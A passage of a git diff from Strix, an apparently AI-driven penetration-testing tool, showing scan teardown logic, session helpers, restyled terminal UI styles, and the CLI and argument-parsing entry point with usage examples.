if root_id is not None: + await coordinator.cancel_descendants(root_id) + with contextlib.suppress(Exception): + await coordinator.set_status(root_id, "stopped") + return None + except BaseException: + logger.exception("Strix scan %s failed", scan_id) + if root_id is not None: + await coordinator.cancel_descendants(root_id) + with contextlib.suppress(Exception): + await coordinator.set_status(root_id, "failed") + raise + finally: + for s in sessions_to_close: + with contextlib.suppress(Exception): + s.close() + with contextlib.suppress(Exception): + await coordinator._maybe_snapshot() + if cleanup_on_exit: + logger.info("Tearing down sandbox session for scan %s", scan_id) + await session_manager.cleanup(scan_id) + logger.info("Strix scan %s done", scan_id) + teardown_logging() diff --git a/strix/core/sessions.py b/strix/core/sessions.py new file mode 100644 index 000000000..8e4f4142d --- /dev/null +++ b/strix/core/sessions.py @@ -0,0 +1,65 @@ +"""SDK session helpers for Strix agents.""" + +from __future__ import annotations + +import contextlib +from typing import TYPE_CHECKING, Any, cast + +from agents.memory import SQLiteSession + + +if TYPE_CHECKING: + from pathlib import Path + + from agents.items import TResponseInputItem + from agents.memory import Session + + +def open_agent_session(agent_id: str, path: Path) -> SQLiteSession: + path.parent.mkdir(parents=True, exist_ok=True) + return SQLiteSession(session_id=agent_id, db_path=path) + + +_IMAGE_REJECTED_TEXT = "[image rejected by the model]" + + +async def strip_all_images_from_session(session: Session) -> bool: + items = await session.get_items() + if not items: + return False + + rebuilt: list[Any] = [] + changed = False + for item in items: + item_dict = cast("dict[str, Any]", item) if isinstance(item, dict) else None + if ( + item_dict is not None + and item_dict.get("type") == "function_call_output" + and isinstance(item_dict.get("output"), list) + and any( + isinstance(b, dict) and b.get("type") == "input_image" for b in item_dict["output"] + ) + ): + rebuilt.append( + { + "type": "function_call_output", + "call_id": item_dict.get("call_id"), + "output": [{"type": "input_text", "text": _IMAGE_REJECTED_TEXT}], + }, + ) + changed = True + else: + rebuilt.append(item) + + if not changed: + return False + + rebuilt_items = cast("list[TResponseInputItem]", rebuilt) + await session.clear_session() + try: + await session.add_items(rebuilt_items) + except Exception: + with contextlib.suppress(Exception): + await session.add_items(rebuilt_items) + raise + return True diff --git a/strix/cli/__init__.py b/strix/interface/__init__.py similarity index 100% rename from strix/cli/__init__.py rename to strix/interface/__init__.py diff --git a/strix/cli/assets/cli.tcss b/strix/interface/assets/tui_styles.tcss similarity index 66% rename from strix/cli/assets/cli.tcss rename to strix/interface/assets/tui_styles.tcss index 2707ec5e9..d2984c8bc 100644 --- a/strix/cli/assets/cli.tcss +++ b/strix/interface/assets/tui_styles.tcss @@ -1,13 +1,36 @@ Screen { - background: #1a1a1a; + background: #000000; color: #d4d4d4; } +.screen--selection { + background: #2d3d2f; + color: #e5e5e5; +} + +ToastRack { + dock: top; + align: right top; + margin-bottom: 0; + margin-top: 1; +} + +Toast { + width: 25; + background: #000000; + border-left: outer #22c55e; +} + +Toast.-information .toast--title { + color: #22c55e; +} + #splash_screen { height: 100%; width: 100%; - background: #1a1a1a; + background: #000000; color: #22c55e; + align: center middle; content-align: center middle; text-align: center; } @@ -17,6 +40,7 @@ Screen { height: auto; background: transparent; text-align: center; + content-align: center middle; padding: 2; } @@ -24,7 +48,7 @@ Screen { height: 100%; padding: 0; margin: 0; - background: #1a1a1a; + background: #000000; } #content_container { @@ -33,14 +57,151 @@ Screen { background: transparent; } -#agents_tree { +#sidebar { width: 20%; background: transparent; - border: round #262626; + margin-left: 1; +} + +#sidebar.-hidden { + display: none; +} + +#agents_tree { + height: 1fr; + background: transparent; + border: round #333333; border-title-color: #a8a29e; border-title-style: bold; - margin-left: 1; padding: 1; + margin-bottom: 0; +} + +#stats_scroll { + height: auto; + max-height: 15; + background: transparent; + padding: 0; + margin: 0; + border: round #333333; + scrollbar-size: 0 0; +} + +#stats_display { + height: auto; + background: transparent; + padding: 0 1; + margin: 0; +} + +#vulnerabilities_panel { + height: auto; + max-height: 12; + background: transparent; + padding: 0; + margin: 0; + border: round #333333; + overflow-y: auto; + scrollbar-background: #000000; + scrollbar-color: #333333; + scrollbar-corner-color: #000000; + scrollbar-size-vertical: 1; +} + +#vulnerabilities_panel.hidden { + display: none; +} + +.vuln-item { + height: auto; + width: 100%; + padding: 0 1; + background: transparent; + color: #d4d4d4; +} + +.vuln-item:hover { + background: #1a1a1a; + color: #fafaf9; +} + +VulnerabilityDetailScreen { + align: center middle; + background: #000000 80%; +} + +#vuln_detail_dialog { + grid-size: 1; + grid-gutter: 1; + grid-rows: 1fr auto; + padding: 2 3; + width: 85%; + max-width: 110; + height: 85%; + max-height: 45; + border: solid #262626; + background: #0a0a0a; +} + +#vuln_detail_scroll { + height: 1fr; + background: transparent; + scrollbar-background: #0a0a0a; + scrollbar-color: #404040; + scrollbar-corner-color: #0a0a0a; + scrollbar-size: 1 1; + padding-right: 1; +} + +#vuln_detail_content { + width: 100%; + background: transparent; + padding: 0; +} + +#vuln_detail_buttons { + width: 100%; + height: auto; + align: right middle; + padding-top: 1; + margin: 0; + border-top: solid #1a1a1a; +} + +#copy_vuln_detail { + width: auto; + min-width: 12; + height: auto; + background: transparent; + color: #525252; + border: none; + text-style: none; + margin: 0 1; + padding: 0 2; +} + +#close_vuln_detail { + width: auto; + min-width: 10; + height: auto; + background: transparent; + color: #a3a3a3; + border: none; + text-style: none; + margin: 0; + padding: 0 2; +} + +#copy_vuln_detail:hover, #copy_vuln_detail:focus { + background: transparent; + color: #22c55e; + border: none; +} + +#close_vuln_detail:hover, #close_vuln_detail:focus { + background: transparent; + color: #ffffff; + border: none; } #chat_area_container { @@ -48,16 +209,20 @@ Screen { background: transparent; } +#chat_area_container.-full-width { + width: 100%; +} + #chat_history { height: 1fr; background: transparent; - border: round #1a1a1a; + border: round #0a0a0a; padding: 0; margin-bottom: 0; margin-right: 0; - scrollbar-background: #0f0f0f; - scrollbar-color: #262626; - scrollbar-corner-color: #0f0f0f; + scrollbar-background: #000000; + scrollbar-color: #1a1a1a; + scrollbar-corner-color: #000000; scrollbar-size: 1 1; } @@ -79,7 +244,7 @@ Screen { color: #a3a3a3; text-align: left; content-align: left middle; - text-style: italic; + text-style: none; margin: 0; padding: 0; } @@ -99,11 +264,11 @@ Screen { #chat_input_container { height: 3; background: transparent; - border: round #525252; + border: round #333333; margin-right: 0; padding: 0; layout: horizontal; - align-vertical: middle; + align-vertical: top; } #chat_input_container:focus-within { @@ -120,7 +285,7 @@ Screen { height: 100%; padding: 0 0 0 1; color: #737373; - content-align-vertical: middle; + content-align-vertical: top; } #chat_history:focus { @@ -130,7 +295,7 @@ Screen { #chat_input { width: 1fr; height: 100%; - background: #121212; + background: transparent; border: none; color: #d4d4d4; padding: 0; @@ -141,6 +306,14 @@ Screen { border: none; } +#chat_input .text-area--cursor-line { + background: transparent; +} + +#chat_input:focus .text-area--cursor-line { + background: transparent; +} + #chat_input > .text-area--placeholder { color: #525252; text-style: italic; @@ -184,253 +357,87 @@ Screen { } .tool-call { - margin: 0 !important; - margin-top: 0 !important; - margin-bottom: 0 !important; + margin-top: 1; + margin-bottom: 0; padding: 0 1; - background: #0a0a0a; - border: round #1a1a1a; - border-left: thick #f59e0b; + background: transparent; + border: none; width: 100%; } .tool-call.status-completed { - border-left: thick #22c55e; - background: #0d1f12; - margin: 0 !important; - margin-top: 0 !important; - margin-bottom: 0 !important; + background: transparent; + margin-top: 1; + margin-bottom: 0; } .tool-call.status-running { - border-left: thick #f59e0b; - background: #1f1611; - margin: 0 !important; - margin-top: 0 !important; - margin-bottom: 0 !important; + background: transparent; + margin-top: 1; + margin-bottom: 0; } .tool-call.status-failed, .tool-call.status-error { - border-left: thick #ef4444; - background: #1f0d0d; - margin: 0 !important; - margin-top: 0 !important; - margin-bottom: 0 !important; + background: transparent; + margin-top: 1; + margin-bottom: 0; } .browser-tool, .terminal-tool, -.python-tool, .agents-graph-tool, .file-edit-tool, .proxy-tool, .notes-tool, .thinking-tool, .web-search-tool, -.finish-tool, -.reporting-tool, .scan-info-tool, .subagent-info-tool { - margin: 0 !important; - margin-top: 0 !important; - margin-bottom: 0 !important; -} - -.browser-tool { - border-left: thick #06b6d4; -} - -.browser-tool.status-completed { - border-left: thick #06b6d4; - background: transparent; - margin: 0 !important; - margin-top: 0 !important; - margin-bottom: 0 !important; -} - -.browser-tool.status-running { - border-left: thick #0891b2; - background: transparent; - margin: 0 !important; - margin-top: 0 !important; - margin-bottom: 0 !important; -} - -.terminal-tool { - border-left: thick #22c55e; -} - -.terminal-tool.status-completed { - border-left: thick #22c55e; - background: transparent; -} - -.terminal-tool.status-running { - border-left: thick #16a34a; - background: transparent; -} - -.python-tool { - border-left: thick #3b82f6; -} - -.python-tool.status-completed { - border-left: thick #3b82f6; - background: transparent; -} - -.python-tool.status-running { - border-left: thick #2563eb; - background: transparent; -} - -.agents-graph-tool { - border-left: thick #fbbf24; -} - -.agents-graph-tool.status-completed { - border-left: thick #fbbf24; - background: transparent; -} - -.agents-graph-tool.status-running { - border-left: thick #f59e0b; - background: transparent; -} - -.file-edit-tool { - border-left: thick #10b981; -} - -.file-edit-tool.status-completed { - border-left: thick #10b981; - background: transparent; -} - -.file-edit-tool.status-running { - border-left: thick #059669; - background: transparent; -} - -.proxy-tool { - border-left: thick #06b6d4; -} - -.proxy-tool.status-completed { - border-left: thick #06b6d4; - background: transparent; -} - -.proxy-tool.status-running { - border-left: thick #0891b2; - background: transparent; -} - -.notes-tool { - border-left: thick #fbbf24; -} - -.notes-tool.status-completed { - border-left: thick #fbbf24; - background: transparent; -} - -.notes-tool.status-running { - border-left: thick #f59e0b; - background: transparent; -} - -.thinking-tool { - border-left: thick #a855f7; -} - -.thinking-tool.status-completed { - border-left: thick #a855f7; - background: transparent; -} - -.thinking-tool.status-running { - border-left: thick #9333ea; - background: transparent; -} - -.web-search-tool { - border-left: thick #22c55e; -} - -.web-search-tool.status-completed { - border-left: thick #22c55e; - background: transparent; -} - -.web-search-tool.status-running { - border-left: thick #16a34a; - background: transparent; -} - -.finish-tool { - border-left: thick #dc2626; -} - -.finish-tool.status-completed { - border-left: thick #dc2626; - background: transparent; -} - -.finish-tool.status-running { - border-left: thick #b91c1c; + margin-top: 1; + margin-bottom: 0; background: transparent; } +.finish-tool, .reporting-tool { - border-left: thick #ea580c; -} - -.reporting-tool.status-completed { - border-left: thick #ea580c; - background: transparent; -} - -.reporting-tool.status-running { - border-left: thick #c2410c; - background: transparent; -} - -.scan-info-tool { - border-left: thick #22c55e; - background: transparent; - margin: 0 !important; - margin-top: 0 !important; - margin-bottom: 0 !important; -} - -.scan-info-tool.status-completed { - border-left: thick #22c55e; - background: transparent; -} - -.scan-info-tool.status-running { - border-left: thick #16a34a; + margin-top: 1; + margin-bottom: 0; background: transparent; } -.subagent-info-tool { - border-left: thick #22c55e; - background: transparent; - margin: 0 !important; - margin-top: 0 !important; - margin-bottom: 0 !important; -} - -.subagent-info-tool.status-completed { - border-left: thick #22c55e; +.browser-tool.status-completed, +.browser-tool.status-running, +.terminal-tool.status-completed, +.terminal-tool.status-running, +.agents-graph-tool.status-completed, +.agents-graph-tool.status-running, +.file-edit-tool.status-completed, +.file-edit-tool.status-running, +.proxy-tool.status-completed, +.proxy-tool.status-running, +.notes-tool.status-completed, +.notes-tool.status-running, +.thinking-tool.status-completed, +.thinking-tool.status-running, +.web-search-tool.status-completed, +.web-search-tool.status-running, +.scan-info-tool.status-completed, +.scan-info-tool.status-running, +.subagent-info-tool.status-completed, +.subagent-info-tool.status-running { background: transparent; + margin-top: 1; + margin-bottom: 0; } -.subagent-info-tool.status-running { - border-left: thick #16a34a; +.finish-tool.status-completed, +.finish-tool.status-running, +.reporting-tool.status-completed, +.reporting-tool.status-running { background: transparent; + margin-top: 1; + margin-bottom: 0; } Tree { @@ -448,7 +455,7 @@ Tree > .tree--label { background: transparent; padding: 0 1; margin-bottom: 1; - border-bottom: solid #262626; + border-bottom: solid #1a1a1a; text-align: center; } @@ -488,7 +495,7 @@ Tree > .tree--label { } Tree:focus { - border: round #262626; + border: round #1a1a1a; } Tree:focus > .tree--label { @@ -532,7 +539,7 @@ StopAgentScreen { width: 30; height: auto; border: round #a3a3a3; - background: #1a1a1a 98%; + background: #000000 98%; } #stop_agent_title { @@ -594,8 +601,8 @@ QuitScreen { padding: 1; width: 24; height: auto; - border: round #525252; - background: #1a1a1a 98%; + border: round #333333; + background: #000000 98%; } #quit_title { @@ -658,7 +665,7 @@ HelpScreen { width: 40; height: auto; border: round #22c55e; - background: #1a1a1a 98%; + background: #000000 98%; } #help_title { diff --git a/strix/interface/cli.py b/strix/interface/cli.py new file mode 100644 index 000000000..f50791203 --- /dev/null +++ b/strix/interface/cli.py @@ -0,0 +1,217 @@ +import atexit +import contextlib +import logging +import signal +import sys +import threading +import time +from typing import Any + +from rich.console import Console +from rich.live import Live +from rich.panel import Panel +from rich.text import Text + +from strix.config import load_settings +from strix.core.runner import run_strix_scan +from strix.report.state import ReportState, set_global_report_state +from strix.runtime import session_manager + +from .utils import ( + build_live_stats_text, + format_vulnerability_report, +) + + +logger = logging.getLogger(__name__) + + +def _resolve_sandbox_image() -> str: + image = load_settings().runtime.image + if not image: + raise RuntimeError( + "strix_image is not configured. Set it in ~/.strix/cli-config.json.", + ) + return image + + +async def run_cli(args: Any) -> None: # noqa: PLR0915 + console = Console() + + start_text = Text() + start_text.append("Penetration test initiated", style="bold #22c55e") + + target_text = Text() + target_text.append("Target", style="dim") + target_text.append(" ") + if len(args.targets_info) == 1: + target_text.append(args.targets_info[0]["original"], style="bold white") + else: + target_text.append(f"{len(args.targets_info)} targets", style="bold white") + for target_info in args.targets_info: + target_text.append("\n ") + target_text.append(target_info["original"], style="white") + + results_text = Text() + results_text.append("Output", style="dim") + results_text.append(" ") + results_text.append(f"strix_runs/{args.run_name}", style="#60a5fa") + + note_text = Text() + note_text.append("\n\n", style="dim") + note_text.append("Vulnerabilities will be displayed in real-time.", style="dim") + + startup_panel = Panel( + Text.assemble( + start_text, + "\n\n", + target_text, + "\n", + results_text, + note_text, + ), + title="[bold white]STRIX", + title_align="left", + border_style="#22c55e", + padding=(1, 2), + ) + + console.print("\n") + console.print(startup_panel) + console.print() + + scan_mode = getattr(args, "scan_mode", "deep") + + scan_config: dict[str, Any] = { + "scan_id": args.run_name, + "targets": args.targets_info, + "user_instructions": args.instruction or "", + "run_name": args.run_name, + "diff_scope": getattr(args, "diff_scope", {"active": False}), + "scan_mode": scan_mode, + "non_interactive": bool(getattr(args, "non_interactive", False)), + "local_sources": getattr(args, "local_sources", None) or [], + "scope_mode": getattr(args, "scope_mode", "auto"), + "diff_base": getattr(args, "diff_base", None), + "resume_instruction": getattr(args, "user_explicit_instruction", None) or "", + } + + report_state = ReportState(args.run_name) + report_state.hydrate_from_run_dir() + report_state.set_scan_config(scan_config) + report_state.save_run_data() + + def display_vulnerability(report: dict[str, Any]) -> None: + report_id = report.get("id", "unknown") + + vuln_text = format_vulnerability_report(report) + + vuln_panel = Panel( + vuln_text, + title=f"[bold red]{report_id.upper()}", + title_align="left", + border_style="red", + padding=(1, 2), + ) + + console.print(vuln_panel) + console.print() + + report_state.vulnerability_found_callback = display_vulnerability + + def cleanup_on_exit() -> None: + report_state.cleanup() + + def signal_handler(_signum: int, _frame: Any) -> None: + report_state.cleanup(status="interrupted") + sys.exit(1) + + atexit.register(cleanup_on_exit) + signal.signal(signal.SIGINT, signal_handler) + signal.signal(signal.SIGTERM, signal_handler) + if hasattr(signal, "SIGHUP"): + signal.signal(signal.SIGHUP, signal_handler) + + set_global_report_state(report_state) + + def create_live_status() -> Panel: + status_text = Text() + status_text.append("Penetration test in progress", style="bold #22c55e") + status_text.append("\n\n") + + stats_text = build_live_stats_text(report_state) + if stats_text: + status_text.append(stats_text) + + return Panel( + status_text, + title="[bold white]STRIX", + title_align="left", + border_style="#22c55e", + padding=(1, 2), + ) + + try: + console.print() + + with Live( + create_live_status(), console=console, refresh_per_second=2, transient=False + ) as live: + stop_updates = threading.Event() + + def update_status() -> None: + while not stop_updates.is_set(): + try: + live.update(create_live_status()) + time.sleep(2) + except Exception: + break + + update_thread = threading.Thread(target=update_status, daemon=True) + update_thread.start() + + try: + logger.info( + "CLI launching scan: run_name=%s targets=%d interactive=%s", + args.run_name, + len(scan_config.get("targets") or []), + bool(getattr(args, "interactive", False)), + ) + await run_strix_scan( + scan_config=scan_config, + scan_id=args.run_name, + image=_resolve_sandbox_image(), + local_sources=getattr(args, "local_sources", None) or [], + interactive=bool(getattr(args, "interactive", False)), + max_budget_usd=getattr(args, "max_budget_usd", None), + ) + finally: + stop_updates.set() + update_thread.join(timeout=1) + with contextlib.suppress(Exception): + await session_manager.cleanup(args.run_name) + + except Exception as e: + console.print(f"[bold red]Error during penetration test:[/] {e}") + raise + + if report_state.final_scan_result: + console.print() + + final_report_text = Text() + final_report_text.append("Penetration test summary", style="bold #60a5fa") + + final_report_panel = Panel( + Text.assemble( + final_report_text, + "\n\n", + report_state.final_scan_result, + ), + title="[bold white]STRIX", + title_align="left", + border_style="#60a5fa", + padding=(1, 2), + ) + + console.print(final_report_panel) + console.print() diff --git a/strix/interface/main.py b/strix/interface/main.py new file mode 100644 index 000000000..25df61882 --- /dev/null +++ b/strix/interface/main.py @@ -0,0 +1,849 @@ +#!/usr/bin/env python3 +""" +Strix Agent Interface +""" + +import argparse +import asyncio +import shutil +import sys +from datetime import UTC, datetime +from pathlib import Path + +from agents.model_settings import ModelSettings +from agents.models.interface import ModelTracing +from docker.errors import DockerException +from rich.console import Console +from rich.panel import Panel +from rich.text import Text + +from strix.config import ( + apply_config_override, + load_settings, + persist_current, +) +from strix.config.models import ( + StrixProvider, + configure_sdk_model_defaults, + is_known_openai_bare_model, +) +from strix.core.paths import run_dir_for, runtime_state_dir +from strix.interface.cli import run_cli +from strix.interface.tui import run_tui +from strix.interface.utils import ( + assign_workspace_subdirs, + build_final_stats_text, + build_mount_targets_info, + check_docker_connection, + clone_repository, + collect_local_sources, + dedupe_local_targets, + find_oversized_local_targets, + generate_run_name, + image_exists, + infer_target_type, + is_whitebox_scan, + process_pull_line, + resolve_diff_scope_context, + rewrite_localhost_targets, + validate_config_file, +) +from strix.report.state import get_global_report_state +from strix.report.writer import read_run_record, write_run_record +from strix.telemetry import posthog, scarf +from strix.telemetry.logging import configure_dependency_logging + + +HOST_GATEWAY_HOSTNAME = "host.docker.internal" + + +import logging # noqa: E402 + + +logger = logging.getLogger(__name__) + + +def validate_environment() -> None: + logger.info("Validating environment") + console = Console() + missing_required_vars = [] + missing_optional_vars = [] + + settings = load_settings() + + if not settings.llm.model: + missing_required_vars.append("STRIX_LLM") + + if not settings.llm.api_key: + missing_optional_vars.append("LLM_API_KEY") + + if not settings.llm.api_base: + missing_optional_vars.append("LLM_API_BASE") + + if not settings.integrations.perplexity_api_key: + missing_optional_vars.append("PERPLEXITY_API_KEY") + + if missing_required_vars: + error_text = Text() + error_text.append("MISSING REQUIRED ENVIRONMENT VARIABLES", style="bold red") + error_text.append("\n\n", style="white") + + for var in missing_required_vars: + error_text.append(f"• {var}", style="bold yellow") + error_text.append(" is not set\n", style="white") + + if missing_optional_vars: + error_text.append("\nOptional environment variables:\n", style="dim white") + for var in missing_optional_vars: + error_text.append(f"• {var}", style="dim yellow") + error_text.append(" is not set\n", style="dim white") + + error_text.append("\nRequired environment variables:\n", style="white") + for var in missing_required_vars: + if var == "STRIX_LLM": + error_text.append("• ", style="white") + error_text.append("STRIX_LLM", style="bold cyan") + error_text.append( + " - Model name to use (e.g., 'openai/gpt-5.4' or " + "'anthropic/claude-opus-4-7')\n", + style="white", + ) + + if missing_optional_vars: + error_text.append("\nOptional environment variables:\n", style="white") + for var in missing_optional_vars: + if var == "LLM_API_KEY": + error_text.append("• ", style="white") + error_text.append("LLM_API_KEY", style="bold cyan") + error_text.append( + " - API key for the LLM provider " + "(not needed for local models, Vertex AI, AWS, etc.)\n", + style="white", + ) + elif var == "LLM_API_BASE": + error_text.append("• ", style="white") + error_text.append("LLM_API_BASE", style="bold cyan") + error_text.append( + " - Custom API base URL if using local models (e.g., Ollama, LMStudio)\n", + style="white", + ) + elif var == "PERPLEXITY_API_KEY": + error_text.append("• ", style="white") + error_text.append("PERPLEXITY_API_KEY", style="bold cyan") + error_text.append( + " - API key for Perplexity AI web search (enables real-time research)\n", + style="white", + ) + elif var == "STRIX_REASONING_EFFORT": + error_text.append("• ", style="white") + error_text.append("STRIX_REASONING_EFFORT", style="bold cyan") + error_text.append( + " - Reasoning effort level: none, minimal, low, medium, high, xhigh " + "(default: high)\n", + style="white", + ) + + error_text.append("\nExample setup:\n", style="white") + error_text.append("export STRIX_LLM='openai/gpt-5.4'\n", style="dim white") + + if missing_optional_vars: + for var in missing_optional_vars: + if var == "LLM_API_KEY": + error_text.append( + "export LLM_API_KEY='your-api-key-here' " + "# not needed for local models, Vertex AI, AWS, etc.\n", + style="dim white", + ) + elif var == "LLM_API_BASE": + error_text.append( + "export LLM_API_BASE='http://localhost:11434' " + "# needed for local models only\n", + style="dim white", + ) + elif var == "PERPLEXITY_API_KEY": + error_text.append( + "export PERPLEXITY_API_KEY='your-perplexity-key-here'\n", style="dim white" + ) + elif var == "STRIX_REASONING_EFFORT": + error_text.append( + "export STRIX_REASONING_EFFORT='high'\n", + style="dim white", + ) + + panel = Panel( + error_text, + title="[bold white]STRIX", + title_align="left", + border_style="red", + padding=(1, 2), + ) + + logger.error("Missing required env vars: %s", missing_required_vars) + console.print("\n") + console.print(panel) + console.print() + sys.exit(1) + logger.info( + "Environment OK (optional missing: %s)", + missing_optional_vars or "none", + ) + + +def check_docker_installed() -> None: + if shutil.which("docker") is None: + logger.error("Docker CLI not found in PATH") + console = Console() + error_text = Text() + error_text.append("DOCKER NOT INSTALLED", style="bold red") + error_text.append("\n\n", style="white") + error_text.append("The 'docker' CLI was not found in your PATH.\n", style="white") + error_text.append( + "Please install Docker and ensure the 'docker' command is available.\n\n", style="white" + ) + + panel = Panel( + error_text, + title="[bold white]STRIX", + title_align="left", + border_style="red", + padding=(1, 2), + ) + console.print("\n", panel, "\n") + sys.exit(1) + logger.debug("Docker CLI present") + + +async def warm_up_llm() -> None: + console = Console() + logger.info("Warming up LLM connection") + + try: + settings = load_settings() + configure_sdk_model_defaults(settings) + llm = settings.llm + + raw_model = (llm.model or "").strip() + if ( + raw_model + and "/" not in raw_model + and not is_known_openai_bare_model(raw_model) + and not llm.api_base + ): + warn_text = Text() + warn_text.append("UNKNOWN MODEL NAME", style="bold yellow") + warn_text.append("\n\n", style="white") + warn_text.append(f"'{raw_model}'", style="bold cyan") + warn_text.append( + " is not a known OpenAI model. Bare names route to OpenAI by default.\n" + "If you meant a non-OpenAI provider, use the '", + style="white", + ) + warn_text.append("/", style="bold cyan") + warn_text.append( + "' form, e.g. 'anthropic/claude-opus-4-7', 'deepseek/deepseek-v4-pro'.", + style="white", + ) + console.print( + Panel( + warn_text, + title="[bold white]STRIX", + title_align="left", + border_style="yellow", + padding=(1, 2), + ), + ) + sys.exit(1) + + model = StrixProvider().get_model(raw_model) + await asyncio.wait_for( + model.get_response( + system_instructions="You are a helpful assistant.", + input="Reply with just 'OK'.", + model_settings=ModelSettings(), + tools=[], + output_schema=None, + handoffs=[], + tracing=ModelTracing.DISABLED, + previous_response_id=None, + conversation_id=None, + prompt=None, + ), + timeout=llm.timeout, + ) + logger.info("LLM warm-up succeeded for model %s", (llm.model or "").strip()) + + except Exception as e: + logger.exception("LLM warm-up failed") + error_text = Text() + error_text.append("LLM CONNECTION FAILED", style="bold red") + error_text.append("\n\n", style="white") + error_text.append("Could not establish connection to the language model.\n", style="white") + error_text.append("Please check your configuration and try again.\n", style="white") + error_text.append(f"\nError: {e}", style="dim white") + + panel = Panel( + error_text, + title="[bold white]STRIX", + title_align="left", + border_style="red", + padding=(1, 2), + ) + + console.print("\n") + console.print(panel) + console.print() + sys.exit(1) + + +def get_version() -> str: + try: + from importlib.metadata import version + + return version("strix-agent") + except Exception: + return "unknown" + + +def _positive_budget(value: str) -> float: + try: + budget = float(value) + except ValueError as exc: + raise argparse.ArgumentTypeError(f"invalid float value: {value!r}") from exc + import math + if not math.isfinite(budget) or budget <= 0: + raise argparse.ArgumentTypeError("must be a finite number greater than 0") + return budget + + +def parse_arguments() -> argparse.Namespace: + parser = argparse.ArgumentParser( + description="Strix Multi-Agent Cybersecurity Penetration Testing Tool", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + # Web application penetration test + strix --target https://example.com + + # GitHub repository analysis + strix --target https://github.com/user/repo + strix --target git@github.com:user/repo.git + + # Local code analysis + strix --target ./my-project + + # Large local repository (bind-mounted read-only instead of copied) + strix --mount ./huge-monorepo + + # Domain penetration test + strix --target example.com + + # IP address penetration test + strix --target 192.168.1.42 + + # Multiple targets (e.g., white-box testing with source and deployed app) + strix --target https://github.com/user/repo --target https://example.com + strix --target ./my-project --target https://staging.example.com --target https://prod.example.com + + # Custom instructions (inline) + strix --target example.com --instruction "Focus on authentication vulnerabilities" + + # Custom instructions (from file) + strix --target example.com --instruction-file ./instructions.txt + strix --target https://app.com --instruction-file /path/to/detailed_instructions.md + """, + ) + + parser.add_argument( + "-v", + "--version", + action="version", + version=f"strix {get_version()}", + ) + + parser.add_argument( + "-t", + "--target", + type=str, + action="append", + help="Target to test (URL, repository, local directory path, domain name, or IP address). " + "Can be specified multiple times for multi-target scans. " + "Required for fresh runs; loaded from disk when ``--resume`` is set.", + ) + parser.add_argument( + "--mount", + type=str, + action="append", + metavar="PATH", + help="Bind-mount a local directory into the sandbox (read-only) instead of " + "copying it file-by-file. Use this for large repositories that are too big to " + "stream into the container. Can be specified multiple times.", + ) + parser.add_argument( + "--instruction", + type=str, + help="Custom instructions for the penetration test. This can be " + "specific vulnerability types to focus on (e.g., 'Focus on IDOR and XSS'), " + "testing approaches (e.g., 'Perform thorough authentication testing'), " + "test credentials (e.g., 'Use the following credentials to access the app: " + "admin:password123'), " + "or areas of interest (e.g., 'Check login API endpoint for security issues').", + ) + + parser.add_argument( + "--instruction-file", + type=str, + help="Path to a file containing detailed custom instructions for the penetration test. " + "Use this option when you have lengthy or complex instructions saved in a file " + "(e.g., '--instruction-file ./detailed_instructions.txt').", + ) + + parser.add_argument( + "-n", + "--non-interactive", + action="store_true", + help=( + "Run in non-interactive mode (no TUI, exits on completion). " + "Default is interactive mode with TUI." + ), + ) + + parser.add_argument( + "-m", + "--scan-mode", + type=str, + choices=["quick", "standard", "deep"], + default="deep", + help=( + "Scan mode: " + "'quick' for fast CI/CD checks, " + "'standard' for routine testing, " + "'deep' for thorough security reviews (default). " + "Default: deep." + ), + ) + + parser.add_argument( + "--scope-mode", + type=str, + choices=["auto", "diff", "full"], + default="auto", + help=( + "Scope mode for code targets: " + "'auto' enables PR diff-scope in CI/headless runs, " + "'diff' forces changed-files scope, " + "'full' disables diff-scope." + ), + ) + + parser.add_argument( + "--diff-base", + type=str, + help=( + "Target branch or commit to compare against (e.g., origin/main). " + "Defaults to the repository's default branch." + ), + ) + + parser.add_argument( + "--config", + type=str, + help="Path to a custom config file (JSON) to use instead of ~/.strix/cli-config.json", + ) + + parser.add_argument( + "--max-budget-usd", + type=_positive_budget, + default=None, + help="Maximum LLM cost in USD (> 0). The scan stops cleanly when this limit is reached.", + ) + + parser.add_argument( + "--resume", + type=str, + metavar="RUN_NAME", + help=( + "Resume a prior scan by its run name (the dir under ./strix_runs/). " + "Picks up the root + every non-terminal subagent's full LLM history " + "and agent topology. Skips fresh run-name generation." + ), + ) + + args = parser.parse_args() + + if args.instruction and args.instruction_file: + parser.error( + "Cannot specify both --instruction and --instruction-file. Use one or the other." + ) + + if args.instruction_file: + instruction_path = Path(args.instruction_file) + try: + with instruction_path.open(encoding="utf-8") as f: + args.instruction = f.read().strip() + if not args.instruction: + parser.error(f"Instruction file '{instruction_path}' is empty") + except Exception as e: + parser.error(f"Failed to read instruction file '{instruction_path}': {e}") + + args.user_explicit_instruction = args.instruction if args.resume else None + + if args.resume: + if args.target or args.mount: + parser.error( + "Cannot combine --resume with --target/--mount. --resume picks up where " + "the prior run left off, including the original target list." + ) + _load_resume_state(args, parser) + agents_path = runtime_state_dir(run_dir_for(args.resume)) / "agents.json" + if not agents_path.exists(): + parser.error( + f"--resume {args.resume}: missing {agents_path}. The run was " + f"persisted but never reached its first agent snapshot — " + f"there's nothing to resume from. Pick a fresh --run-name " + f"or remove --resume to start over with the same targets." + ) + else: + if not args.target and not args.mount: + parser.error( + "the following arguments are required: -t/--target or --mount " + "(or use --resume to continue a prior scan)" + ) + args.targets_info = [] + for target in args.target or []: + try: + target_type, target_dict = infer_target_type(target) + + if target_type == "local_code": + display_target = target_dict.get("target_path", target) + else: + display_target = target + + args.targets_info.append( + {"type": target_type, "details": target_dict, "original": display_target} + ) + except ValueError: + parser.error(f"Invalid target '{target}'") + + try: + args.targets_info.extend(build_mount_targets_info(args.mount or [])) + except ValueError as e: + parser.error(str(e)) + + args.targets_info = dedupe_local_targets(args.targets_info) + + assign_workspace_subdirs(args.targets_info) + rewrite_localhost_targets(args.targets_info, HOST_GATEWAY_HOSTNAME) + + max_local_copy_mb = load_settings().runtime.max_local_copy_mb + max_copy_bytes = max_local_copy_mb * 1024 * 1024 + oversized = find_oversized_local_targets(args.targets_info, max_copy_bytes) + if oversized: + details = "; ".join( + f"{path} ({size / (1024 * 1024):.0f} MB)" for path, size in oversized + ) + parser.error( + f"Local target too large to stream into the sandbox: {details}. " + f"The limit is {max_local_copy_mb} MB " + "(set STRIX_MAX_LOCAL_COPY_MB to change it). Re-run with " + "--mount to bind-mount the directory instead of copying it." + ) + + return args + + +def _persist_run_record(args: argparse.Namespace) -> None: + run_dir = run_dir_for(args.run_name) + run_dir.mkdir(parents=True, exist_ok=True) + 